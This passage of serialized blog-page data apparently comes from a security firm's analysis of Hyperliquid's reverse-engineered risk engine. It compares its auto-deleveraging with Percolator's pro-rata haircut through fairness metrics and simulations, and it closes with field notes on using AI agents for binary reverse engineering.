3953,"children":163954},{},[],{"type":24,"tag":83,"props":163956,"children":163958},{"className":163957,"style":3931},[3833],[],{"type":24,"tag":83,"props":163960,"children":163962},{"className":163961},[3936],[163963],{"type":29,"value":1275},{"type":24,"tag":83,"props":163965,"children":163967},{"className":163966,"style":3931},[3833],[],{"type":24,"tag":83,"props":163969,"children":163971},{"className":163970},[3742],[163972,163976,164033,164038],{"type":24,"tag":83,"props":163973,"children":163975},{"className":163974,"style":3854},[3747],[],{"type":24,"tag":83,"props":163977,"children":163979},{"className":163978},[3753],[163980,163985],{"type":24,"tag":83,"props":163981,"children":163983},{"className":163982},[3753,21328],[163984],{"type":29,"value":19015},{"type":24,"tag":83,"props":163986,"children":163988},{"className":163987},[3769],[163989],{"type":24,"tag":83,"props":163990,"children":163992},{"className":163991},[3774,21382],[163993,164022],{"type":24,"tag":83,"props":163994,"children":163996},{"className":163995},[3779],[163997,164017],{"type":24,"tag":83,"props":163998,"children":164000},{"className":163999,"style":93289},[3784],[164001],{"type":24,"tag":83,"props":164002,"children":164003},{"style":92816},[164004,164008],{"type":24,"tag":83,"props":164005,"children":164007},{"className":164006,"style":3794},[3793],[],{"type":24,"tag":83,"props":164009,"children":164011},{"className":164010},[3799,3800,3801,3802],[164012],{"type":24,"tag":83,"props":164013,"children":164015},{"className":164014},[3753,21328,3802],[164016],{"type":29,"value":3482},{"type":24,"tag":83,"props":164018,"children":164020},{"className":164019},[21485],[164021],{"type":29,"value":21488},{"type":24,"tag":83,"props":164023,"children":164025},{"className":164024},[3779],[164026],{"type":24,"tag":83,"props":164027,"children":164029},{"className":164028,"style":92843},[3784],[164030],{"type":24,"tag":83,"props":164031,"children":164032},{},[],{"type":24,"tag":83,"props":164034,"children":164036},{"className":164035},[3753],[164037],{"type":29,"value":4325},{"type":24,"tag":83,"props":164039,"children":164041},{"className":164040},[3753],[164042,164047],{"type":24,"tag":83,"props":164043,"children":164045},{"className":164044,"style":121860},[3753,21328],[164046],{"type":29,"value":49288},{"type":24,"tag":83,"props":164048,"children":164050},{"className":164049},[3769],[164051],{"type":24,"tag":83,"props":164052,"children":164054},{"className":164053},[3774,21382],[164055,164084],{"type":24,"tag":83,"props":164056,"children":164058},{"className":164057},[3779],[164059,164079],{"type":24,"tag":83,"props":164060,"children":164062},{"className":164061,"style":93289},[3784],[164063],{"type":24,"tag":83,"props":164064,"children":164065},{"style":160808},[164066,164070],{"type":24,"tag":83,"props":164067,"children":164069},{"className":164068,"style":3794},[3793],[],{"type":24,"tag":83,"props":164071,"children":164073},{"className":164072},[3799,3800,3801,3802],[164074],{"type":24,"tag":83,"props":164075,"children":164077},{"className":164076},[3753,21328,3802],[164078],{"type":29,"value":3482},{"type":24,"tag":83,"props":164080,"children":164082},{"className":164081},[21485],[164083],{"type":29,"value":21488},{"type":24,"tag":83,"props":164085,"children":164087},{"className":164086},[3779],[164088],{"type":24,"tag":83,"props":164089,"children":164091},{"className":164090,"style":92843},[3784],[164092],{"type":24,"tag":83,"props":164093,"children":164094},{},[],{"type":29,"value":164096}," for each winner with ",{"type":24,"tag":32,"props":164098,"children":164100},{"className":164099},[3726,3727],[164101],{"type":24,"tag":83,"props":164102,"children":164104},{"className":164103},[3732],[164105],{"type":24,"tag":83,"props":164106,"children":164108},{"className":164107,"ariaHidden":1237},[3737],[164109,164188],{"type":24,"tag":83,"props":164110,"children":164112},{"className":164111},[3742],[164113,164118,164175,164179,164184],{"type":24,"tag":83,"props":164114,"children":164117},{"className":164115,"style":164116},[3747],"height:0.6891em;vertical-align:-0.15em;",[],{"type":24,"tag":83,"props":164119,"children":164121},{"className":164120},[3753],[164122,164127],{"type":24,"tag":83,"props":164123,"children":164125},{"className":164124,"style":121860},[3753,21328],[164126],{"type":29,"value":49288},{"type":24,"tag":83,"props":164128,"children":164130},{"className":164129},[3769],[164131],{"type":24,"tag":83,"props":164132,"children":164134},{"className":164133},[3774,21382],[164135,164164],{"type":24,"tag":83,"props":164136,"children":164138},{"className":164137},[3779],[164139,164159],{"type":24,"tag":83,"props":164140,"children":164142},{"className":164141,"style":93289},[3784],[164143],{"type":24,"tag":83,"props":164144,"children":164145},{"style":160808},[164146,164150],{"type":24,"tag":83,"props":164147,"children":164149},{"className":164148,"style":3794},[3793],[],{"type":24,"tag":83,"props":164151,"children":164153},{"className":164152},[3799,3800,3801,3802],[164154],{"type":24,"tag":83,"props":164155,"children":164157},{"className":164156},[3753,21328,3802],[164158],{"type":29,"value":3482},{"type":24,"tag":83,"props":164160,"children":164162},{"className":164161},[21485],[164163],{"type":29,"value":21488},{"type":24,"tag":83,"props":164165,"children":164167},{"className":164166},[3779],[164168],{"type":24,"tag":83,"props":164169,"children":164171},{"className":164170,"style":92843},[3784],[164172],{"type":24,"tag":83,"props":164173,"children":164174},{},[],{"type":24,"tag":83,"props":164176,"children":164178},{"className":164177,"style":3931},[3833],[],{"type":24,"tag":83,"props":164180,"children":164182},{"className":164181},[3936],[164183],{"type":29,"value":10209},{"type":24,"tag":83,"props":164185,"children":164187},{"className":164186,"style":3931},[3833],[],{"type":24,"tag":83,"props":164189,"children":164191},{"className":164190},[3742],[164192,164196],{"type":24,"tag":83,"props":164193,"children":164195},{"className":164194,"style":93791},[3747],[],{"type":24,"tag":83,"props":164197,"children":164199},{"className":164198},[3753],[164200],{"type":29,"value":1166},{"type":29,"value":164202}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":24,"tag":32,"props":164204,"children":164206},{"className":164205},[3726,3727],[164207],{"type":24,"tag":83,"props":164208,"children":164210},{"className":164209},[3732],[164211],{"type":24,"tag":83,"props":164212,"children":164214},{"className":164213,"ariaHidden":1237},[3737],[164215,164241],{"type":24,"tag":83,"props":164216,"children":164218},{"className":164217},[3742],[164219,164223,164228,164232,164237],{"type":24,"tag":83,"props":164220,"children":164222},{"className":164221,"style":21323},[3747],[],{"type":24,"tag":83,"props":164224,"children":164226},{"className":164225,"style":21329},[3753,21328],[164227],{"type":29,"value":121358},{"type":24,"tag":83,"props":164229,"children":164231},{"className":164230,"style":3931},[3833],[],{"type":24,"tag":83,"props":164233,"children":164235},{"className":164234},[3936],[164236],{"type":29,"value":1275},{"type":24,"tag":83,"props":164238,"children":164240},{"className":164239,"style":3931},[3833],[],{"type":24,"tag":83,"props":164242,"children":164244},{"className":164243},[3742],[164245,164249],{"type":24,"tag":83,"props":164246,"children":164248},{"className":164247,"style":93791},[3747],[],{"type":24,"tag":83,"props":164250,"children":164252},{"className":164251},[3753],[164253],{"type":29,"value":3756},{"type":29,"value":164255}," means everyone loses the same fraction of their PNL. ",{"type":24,"tag":32,"props":164257,"children":164259},{"className":164258},[3726,3727],[164260],{"type":24,"tag":83,"props":164261,"children":164263},{"className":164262},[3732],[164264],{"type":24,"tag":83,"props":164265,"children":164267},{"className":164266,"ariaHidden":1237},[3737],[164268,164295],{"type":24,"tag":83,"props":164269,"children":164271},{"className":164270},[3742],[164272,164276,164281,164285,164291],{"type":24,"tag":83,"props":164273,"children":164275},{"className":164274,"style":21323},[3747],[],{"type":24,"tag":83,"props":164277,"children":164279},{"className":164278,"style":21329},[3753,21328],[164280],{"type":29,"value":121358},{"type":24,"tag":83,"props":164282,"children":164284},{"className":164283,"style":3931},[3833],[],{"type":24,"tag":83,"props":164286,"children":164288},{"className":164287},[3936],[164289],{"type":29,"value":164290},"≈",{"type":24,"tag":83,"props":164292,"children":164294},{"className":164293,"style":3931},[3833],[],{"type":24,"tag":83,"props":164296,"children":164298},{"className":164297},[3742],[164299,164303],{"type":24,"tag":83,"props":164300,"children":164302},{"className":164301,"style":93791},[3747],[],{"type":24,"tag":83,"props":164304,"children":164306},{"className":164305},[3753],[164307],{"type":29,"value":1166},{"type":29,"value":164309}," means a few get wiped while most are untouched.",{"type":24,"tag":67,"props":164311,"children":164312},{},[164313,164317,164318,164476,164478,164572,164574],{"type":24,"tag":2655,"props":164314,"children":164315},{},[164316],{"type":29,"value":160412},{"type":29,"value":32650},{"type":24,"tag":32,"props":164319,"children":164321},{"className":164320},[3726,3727],[164322],{"type":24,"tag":83,"props":164323,"children":164325},{"className":164324},[3732],[164326],{"type":24,"tag":83,"props":164327,"children":164329},{"className":164328,"ariaHidden":1237},[3737],[164330],{"type":24,"tag":83,"props":164331,"children":164333},{"className":164332},[3742],[164334,164339,164414,164419],{"type":24,"tag":83,"props":164335,"children":164338},{"className":164336,"style":164337},[3747],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":24,"tag":83,"props":164340,"children":164342},{"className":164341},[3753],[164343,164348],{"type":24,"tag":83,"props":164344,"children":164346},{"className":164345,"style":94768},[3753,21328],[164347],{"type":29,"value":161137},{"type":24,"tag":83,"props":164349,"children":164351},{"className":164350},[3769],[164352],{"type":24,"tag":83,"props":164353,"children":164355},{"className":164354},[3774,21382],[164356,164402],{"type":24,"tag":83,"props":164357,"children":164359},{"className":164358},[3779],[164360,164397],{"type":24,"tag":83,"props":164361,"children":164363},{"className":164362,"style":108297},[3784],[164364,164381],{"type":24,"tag":83,"props":164365,"children":164367},{"style":164366},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[164368,164372],{"type":24,"tag":83,"props":164369,"children":164371},{"className":164370,"style":3794},[3793],[],{"type":24,"tag":83,"props":164373,"children":164375},{"className":164374},[3799,3800,3801,3802],[164376],{"type":24,"tag":83,"props":164377,"children":164379},{"className":164378,"style":21329},[3753,21328,3802],[164380],{"type":29,"value":5733},{"type":24,"tag":83,"props":164382,"children":164383},{"style":3788},[164384,164388],{"type":24,"tag":83,"props":164385,"children":164387},{"className":164386,"style":3794},[3793],[],{"type":24,"tag":83,"props":164389,"children":164391},{"className":164390},[3799,3800,3801,3802],[164392],{"type":24,"tag":83,"props":164393,"children":164395},{"className":164394,"style":93246},[3753,21328,3802],[164396],{"type":29,"value":160651},{"type":24,"tag":83,"props":164398,"children":164400},{"className":164399},[21485],[164401],{"type":29,"value":21488},{"type":24,"tag":83,"props":164403,"children":164405},{"className":164404},[3779],[164406],{"type":24,"tag":83,"props":164407,"children":164410},{"className":164408,"style":164409},[3784],"height:0.2753em;",[164411],{"type":24,"tag":83,"props":164412,"children":164413},{},[],{"type":24,"tag":83,"props":164415,"children":164417},{"className":164416},[3753],[164418],{"type":29,"value":4325},{"type":24,"tag":83,"props":164420,"children":164422},{"className":164421},[3753],[164423,164428],{"type":24,"tag":83,"props":164424,"children":164426},{"className":164425,"style":94768},[3753,21328],[164427],{"type":29,"value":161137},{"type":24,"tag":83,"props":164429,"children":164431},{"className":164430},[3769],[164432],{"type":24,"tag":83,"props":164433,"children":164435},{"className":164434},[3774,21382],[164436,164465],{"type":24,"tag":83,"props":164437,"children":164439},{"className":164438},[3779],[164440,164460],{"type":24,"tag":83,"props":164441,"children":164443},{"className":164442,"style":142135},[3784],[164444],{"type":24,"tag":83,"props":164445,"children":164446},{"style":161156},[164447,164451],{"type":24,"tag":83,"props":164448,"children":164450},{"className":164449,"style":3794},[3793],[],{"type":24,"tag":83,"props":164452,"children":164454},{"className":164453},[3799,3800,3801,3802],[164455],{"type":24,"tag":83,"props":164456,"children":164458},{"className":164457,"style":21329},[3753,21328,3802],[164459],{"type":29,"value":5733},{"type":24,"tag":83,"props":164461,"children":164463},{"className":164462},[21485],[164464],{"type":29,"value":21488},{"type":24,"tag":83,"props":164466,"children":164468},{"className":164467},[3779],[164469],{"type":24,"tag":83,"props":164470,"children":164472},{"className":164471,"style":92843},[3784],[164473],{"type":24,"tag":83,"props":164474,"children":164475},{},[],{"type":29,"value":164477}," — ",{"type":24,"tag":32,"props":164479,"children":164481},{"className":164480},[3726,3727],[164482],{"type":24,"tag":83,"props":164483,"children":164485},{"className":164484},[3732],[164486],{"type":24,"tag":83,"props":164487,"children":164489},{"className":164488,"ariaHidden":1237},[3737],[164490],{"type":24,"tag":83,"props":164491,"children":164493},{"className":164492},[3742],[164494,164499],{"type":24,"tag":83,"props":164495,"children":164498},{"className":164496,"style":164497},[3747],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":24,"tag":83,"props":164500,"children":164502},{"className":164501},[3753],[164503,164508],{"type":24,"tag":83,"props":164504,"children":164506},{"className":164505,"style":94768},[3753,21328],[164507],{"type":29,"value":161137},{"type":24,"tag":83,"props":164509,"children":164511},{"className":164510},[3769],[164512],{"type":24,"tag":83,"props":164513,"children":164515},{"className":164514},[3774,21382],[164516,164561],{"type":24,"tag":83,"props":164517,"children":164519},{"className":164518},[3779],[164520,164556],{"type":24,"tag":83,"props":164521,"children":164523},{"className":164522,"style":108297},[3784],[164524,164540],{"type":24,"tag":83,"props":164525,"children":164526},{"style":164366},[164527,164531],{"type":24,"tag":83,"props":164528,"children":164530},{"className":164529,"style":3794},[3793],[],{"type":24,"tag":83,"props":164532,"children":164534},{"className":164533},[3799,3800,3801,3802],[164535],{"type":24,"tag":83,"props":164536,"children":164538},{"className":164537,"style":21329},[3753,21328,3802],[164539],{"type":29,"value":5733},{"type":24,"tag":83,"props":164541,"children":164542},{"style":3788},[164543,164547],{"type":24,"tag":83,"props":164544,"children":164546},{"className":164545,"style":3794},[3793],[],{"type":24,"tag":83,"props":164548,"children":164550},{"className":164549},[3799,3800,3801,3802],[164551],{"type":24,"tag":83,"props":164552,"children":164554},{"className":164553,"style":93246},[3753,21328,3802],[164555],{"type":29,"value":160651},{"type":24,"tag":83,"props":164557,"children":164559},{"className":164558},[21485],[164560],{"type":29,"value":21488},{"type":24,"tag":83,"props":164562,"children":164564},{"className":164563},[3779],[164565],{"type":24,"tag":83,"props":164566,"children":164568},{"className":164567,"style":164409},[3784],[164569],{"type":24,"tag":83,"props":164570,"children":164571},{},[],{"type":29,"value":164573}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":24,"tag":32,"props":164575,"children":164577},{"className":164576},[3726,3727],[164578],{"type":24,"tag":83,"props":164579,"children":164581},{"className":164580},[3732],[164582],{"type":24,"tag":83,"props":164583,"children":164585},{"className":164584,"ariaHidden":1237},[3737],[164586],{"type":24,"tag":83,"props":164587,"children":164589},{"className":164588},[3742],[164590,164594],{"type":24,"tag":83,"props":164591,"children":164593},{"className":164592,"style":110421},[3747],[],{"type":24,"tag":83,"props":164595,"children":164597},{"className":164596,"style":93246},[3753,21328],[164598],{"type":29,"value":160651},{"type":24,"tag":25,"props":164600,"children":164601},{},[164602],{"type":29,"value":164603},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":24,"tag":164605,"props":164606,"children":164608},"git-hub-repo-link",{"url":164607},"https://github.com/aeyakovenko/percolator",[],{"type":24,"tag":25,"props":164610,"children":164611},{},[164612,164614,164619],{"type":29,"value":164613},"Given a fixed ",{"type":24,"tag":2655,"props":164615,"children":164616},{},[164617],{"type":29,"value":164618},"a priori",{"type":29,"value":164620}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":24,"tag":25,"props":164622,"children":164623},{},[164624,164626,164631,164633,164710],{"type":29,"value":164625},"One prediction that we can make is that Percolator is ",{"type":24,"tag":2655,"props":164627,"children":164628},{},[164629],{"type":29,"value":164630},"perfectly fair",{"type":29,"value":164632}," according to this scoring: the ",{"type":24,"tag":32,"props":164634,"children":164636},{"className":164635},[3726,3727],[164637],{"type":24,"tag":83,"props":164638,"children":164640},{"className":164639},[3732],[164641],{"type":24,"tag":83,"props":164642,"children":164644},{"className":164643,"ariaHidden":1237},[3737],[164645],{"type":24,"tag":83,"props":164646,"children":164648},{"className":164647},[3742],[164649,164653],{"type":24,"tag":83,"props":164650,"children":164652},{"className":164651,"style":141859},[3747],[],{"type":24,"tag":83,"props":164654,"children":164656},{"className":164655},[3753],[164657,164662],{"type":24,"tag":83,"props":164658,"children":164660},{"className":164659},[3753,21328],[164661],{"type":29,"value":84058},{"type":24,"tag":83,"props":164663,"children":164665},{"className":164664},[3769],[164666],{"type":24,"tag":83,"props":164667,"children":164669},{"className":164668},[3774,21382],[164670,164699],{"type":24,"tag":83,"props":164671,"children":164673},{"className":164672},[3779],[164674,164694],{"type":24,"tag":83,"props":164675,"children":164677},{"className":164676,"style":93289},[3784],[164678],{"type":24,"tag":83,"props":164679,"children":164680},{"style":92816},[164681,164685],{"type":24,"tag":83,"props":164682,"children":164684},{"className":164683,"style":3794},[3793],[],{"type":24,"tag":83,"props":164686,"children":164688},{"className":164687},[3799,3800,3801,3802],[164689],{"type":24,"tag":83,"props":164690,"children":164692},{"className":164691},[3753,21328,3802],[164693],{"type":29,"value":3482},{"type":24,"tag":83,"props":164695,"children":164697},{"className":164696},[21485],[164698],{"type":29,"value":21488},{"type":24,"tag":83,"props":164700,"children":164702},{"className":164701},[3779],[164703],{"type":24,"tag":83,"props":164704,"children":164706},{"className":164705,"style":92843},[3784],[164707],{"type":24,"tag":83,"props":164708,"children":164709},{},[],{"type":29,"value":164711}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":24,"tag":25,"props":164713,"children":164714},{},[164715,164717,164722],{"type":29,"value":164716},"We are ignoring the ",{"type":24,"tag":2655,"props":164718,"children":164719},{},[164720],{"type":29,"value":164721},"a posteriori",{"type":29,"value":164723}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":24,"tag":25,"props":164725,"children":164726},{},[164727],{"type":29,"value":164728},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":24,"tag":51,"props":164730,"children":164732},{"id":164731},"simulations",[164733],{"type":29,"value":164734},"Simulations",{"type":24,"tag":25,"props":164736,"children":164737},{},[164738],{"type":29,"value":164739},"Let's consider the following price scenarios, as we said:",{"type":24,"tag":25,"props":164741,"children":164742},{},[164743],{"type":24,"tag":2510,"props":164744,"children":164747},{"alt":164745,"src":164746},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":24,"tag":25,"props":164749,"children":164750},{},[164751],{"type":29,"value":164752},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":24,"tag":25,"props":164754,"children":164755},{},[164756],{"type":24,"tag":2510,"props":164757,"children":164760},{"alt":164758,"src":164759},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":24,"tag":1818,"props":164762,"children":164764},{"id":164763},"percolator-is-more-optimistic",[164765],{"type":29,"value":164766},"Percolator Is More \"Optimistic\"",{"type":24,"tag":25,"props":164768,"children":164769},{},[164770,164772,164777,164779,164784,164786,164792,164794,164799],{"type":29,"value":164771},"The key difference is what happens to positions. ADL ",{"type":24,"tag":2655,"props":164773,"children":164774},{},[164775],{"type":29,"value":164776},"permanently closes",{"type":29,"value":164778}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":24,"tag":2655,"props":164780,"children":164781},{},[164782],{"type":29,"value":164783},"withdraw",{"type":29,"value":164785},", but the position stays open. If conditions improve, ",{"type":24,"tag":32,"props":164787,"children":164789},{"className":164788},[],[164790],{"type":29,"value":164791},"Residual",{"type":29,"value":164793}," goes up, ",{"type":24,"tag":32,"props":164795,"children":164797},{"className":164796},[],[164798],{"type":29,"value":84058},{"type":29,"value":164800}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":24,"tag":25,"props":164802,"children":164803},{},[164804,164806,164810],{"type":29,"value":164805},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":24,"tag":2655,"props":164807,"children":164808},{},[164809],{"type":29,"value":19927},{"type":29,"value":164811}," per position, though the tradeoff is that fewer traders get to participate.",{"type":24,"tag":25,"props":164813,"children":164814},{},[164815],{"type":24,"tag":2510,"props":164816,"children":164819},{"alt":164817,"src":164818},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":24,"tag":51,"props":164821,"children":164823},{"id":164822},"some-points-to-be-made",[164824],{"type":29,"value":164825},"Some Points to Be Made",{"type":24,"tag":1818,"props":164827,"children":164829},{"id":164828},"percolator-is-indifferent-to-leverage",[164830],{"type":29,"value":164831},"Percolator Is Indifferent to Leverage",{"type":24,"tag":25,"props":164833,"children":164834},{},[164835],{"type":29,"value":164836},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":24,"tag":25,"props":164838,"children":164839},{},[164840],{"type":24,"tag":2510,"props":164841,"children":164844},{"alt":164842,"src":164843},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":24,"tag":1818,"props":164846,"children":164848},{"id":164847},"fairness",[164849],{"type":29,"value":160402},{"type":24,"tag":25,"props":164851,"children":164852},{},[164853],{"type":29,"value":164854},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":24,"tag":25,"props":164856,"children":164857},{},[164858],{"type":24,"tag":2510,"props":164859,"children":164862},{"alt":164860,"src":164861},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":24,"tag":25,"props":164864,"children":164865},{},[164866,164868,164873],{"type":29,"value":164867},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":24,"tag":32,"props":164869,"children":164871},{"className":164870},[],[164872],{"type":29,"value":158904},{"type":29,"value":164874}," we start by fully closing the worst position against the best-performing trader.",{"type":24,"tag":51,"props":164876,"children":164878},{"id":164877},"strengths-and-limitations-of-agents-for-reverse-engineering",[164879],{"type":29,"value":164880},"Strengths and Limitations of Agents for Reverse Engineering",{"type":24,"tag":25,"props":164882,"children":164883},{},[164884],{"type":29,"value":164885},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":24,"tag":1818,"props":164887,"children":164889},{"id":164888},"hooks",[164890],{"type":29,"value":164891},"Hooks",{"type":24,"tag":25,"props":164893,"children":164894},{},[164895,164897,164901],{"type":29,"value":164896},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":24,"tag":2655,"props":164898,"children":164899},{},[164900],{"type":29,"value":164888},{"type":29,"value":164902},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":24,"tag":25,"props":164904,"children":164905},{},[164906],{"type":29,"value":164907},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":24,"tag":1818,"props":164909,"children":164911},{"id":164910},"scale",[164912],{"type":29,"value":164913},"Scale",{"type":24,"tag":25,"props":164915,"children":164916},{},[164917],{"type":29,"value":164918},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":24,"tag":25,"props":164920,"children":164921},{},[164922],{"type":29,"value":164923},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":24,"tag":1818,"props":164925,"children":164927},{"id":164926},"whats-next",[164928],{"type":29,"value":164929},"What's next?",{"type":24,"tag":25,"props":164931,"children":164932},{},[164933],{"type":29,"value":164934},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":24,"tag":164605,"props":164936,"children":164937},{"url":158565},[],{"type":24,"tag":25,"props":164939,"children":164940},{},[164941],{"type":29,"value":164942},"The analyzed binary can be found here:",{"type":24,"tag":158885,"props":164944,"children":164947},{"path":164945,"name":158489,"size":164946},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":24,"tag":1818,"props":164949,"children":164951},{"id":164950},"closing-words",[164952],{"type":29,"value":164953},"Closing Words",{"type":24,"tag":25,"props":164955,"children":164956},{},[164957],{"type":29,"value":164958},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":24,"tag":25,"props":164960,"children":164961},{},[164962,164964,164969],{"type":29,"value":164963},"Flagship models got us 60% of the way there, but a lot of ",{"type":24,"tag":2655,"props":164965,"children":164966},{},[164967],{"type":29,"value":164968},"manual",{"type":29,"value":164970}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":24,"tag":25,"props":164972,"children":164973},{},[164974],{"type":29,"value":164975},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":24,"tag":25,"props":164977,"children":164978},{},[164979],{"type":29,"value":164980},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":24,"tag":164982,"props":164983,"children":164984},"report-footnotes",{},[164985],{"type":24,"tag":63,"props":164986,"children":164987},{},[164988,164993,165020,165025,165030],{"type":24,"tag":67,"props":164989,"children":164990},{},[164991],{"type":29,"value":164992},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":24,"tag":67,"props":164994,"children":164995},{},[164996,165002,165004,165010,165012,165018],{"type":24,"tag":32,"props":164997,"children":164999},{"className":164998},[],[165000],{"type":29,"value":165001},"compute_user_margin_and_shortfall",{"type":29,"value":165003}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":24,"tag":32,"props":165005,"children":165007},{"className":165006},[],[165008],{"type":29,"value":165009},"0x748",{"type":29,"value":165011}," in the abstract expressions of ",{"type":24,"tag":32,"props":165013,"children":165015},{"className":165014},[],[165016],{"type":29,"value":165017},"btree_cursor",{"type":29,"value":165019},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":24,"tag":67,"props":165021,"children":165022},{},[165023],{"type":29,"value":165024},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":24,"tag":67,"props":165026,"children":165027},{},[165028],{"type":29,"value":165029},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":24,"tag":67,"props":165031,"children":165032},{},[165033,165035,165041],{"type":29,"value":165034},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":24,"tag":32,"props":165036,"children":165038},{"className":165037},[],[165039],{"type":29,"value":165040},"s3://hl-mainnet-node-data/explorer_blocks",{"type":29,"value":161},{"title":7,"searchDepth":113,"depth":113,"links":165043},[165044,165045,165046,165047,165048,165051,165052,165053,165056,165057,165060,165064],{"id":158435,"depth":113,"text":158438},{"id":158428,"depth":113,"text":158456},{"id":158513,"depth":113,"text":158516},{"id":158794,"depth":113,"text":158797},{"id":158828,"depth":113,"text":158831,"children":165049},[165050],{"id":158967,"depth":128,"text":158970},{"id":159746,"depth":113,"text":159749},{"id":159842,"depth":113,"text":159845},{"id":160060,"depth":113,"text":160063,"children":165054},[165055],{"id":160305,"depth":128,"text":160308},{"id":160365,"depth":113,"text":160368},{"id":164731,"depth":113,"text":164734,"children":165058},[165059],{"id":164763,"depth":128,"text":164766},{"id":164822,"depth":113,"text":164825,"children":165061},[165062,165063],{"id":164828,"depth":128,"text":164831},{"id":164847,"depth":128,"text":160402},{"id":164877,"depth":113,"text":164880,"children":165065},[165066,165067,165068,165069],{"id":164888,"depth":128,"text":164891},{"id":164910,"depth":128,"text":164913},{"id":164926,"depth":128,"text":164929},{"id":164950,"depth":128,"text":164953},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630616]